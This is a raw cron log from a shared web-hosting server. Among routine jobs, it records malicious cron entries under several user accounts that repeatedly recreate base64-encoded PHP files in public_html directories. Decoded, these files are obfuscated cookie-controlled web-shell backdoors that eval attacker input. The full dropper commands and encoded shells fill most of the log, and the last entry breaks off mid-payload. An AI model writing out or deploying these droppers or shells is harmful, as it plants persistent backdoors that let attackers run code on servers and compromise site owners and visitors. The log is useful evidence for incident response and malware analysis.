"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:00:02 medusa CROND[17149]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 22:00:02 medusa CROND[17153]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17151]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  1 22:00:02 medusa CROND[17127]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17150]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17131]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:00:02 medusa CROND[17146]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 22:00:02 medusa CROND[17182]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:00:02 medusa CROND[17190]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17192]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:00:02 medusa CROND[17199]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17203]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17134]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:00:02 medusa CROND[17208]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:00:02 medusa CROND[17171]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 22:01:01 medusa CROND[3238]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 22:01:02 medusa CROND[3291]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:01:02 medusa CROND[3293]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:01:02 medusa CROND[3296]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:01:02 medusa CROND[3297]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:01:02 medusa CROND[3298]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:01:02 medusa CROND[3299]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:01:02 medusa CROND[3300]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:01:02 medusa CROND[3304]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:01:02 medusa CROND[3305]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:01:02 medusa CROND[3308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:01:02 medusa CROND[3311]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:01:02 medusa CROND[3313]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:01:02 medusa CROND[3325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:01:02 medusa run-parts(/etc/cron.hourly)[3238]: starting 0anacron
Mar  1 22:01:02 medusa run-parts(/etc/cron.hourly)[3662]: finished 0anacron
Mar  1 22:02:01 medusa CROND[22387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:02:02 medusa CROND[22656]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:02:02 medusa CROND[22658]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAg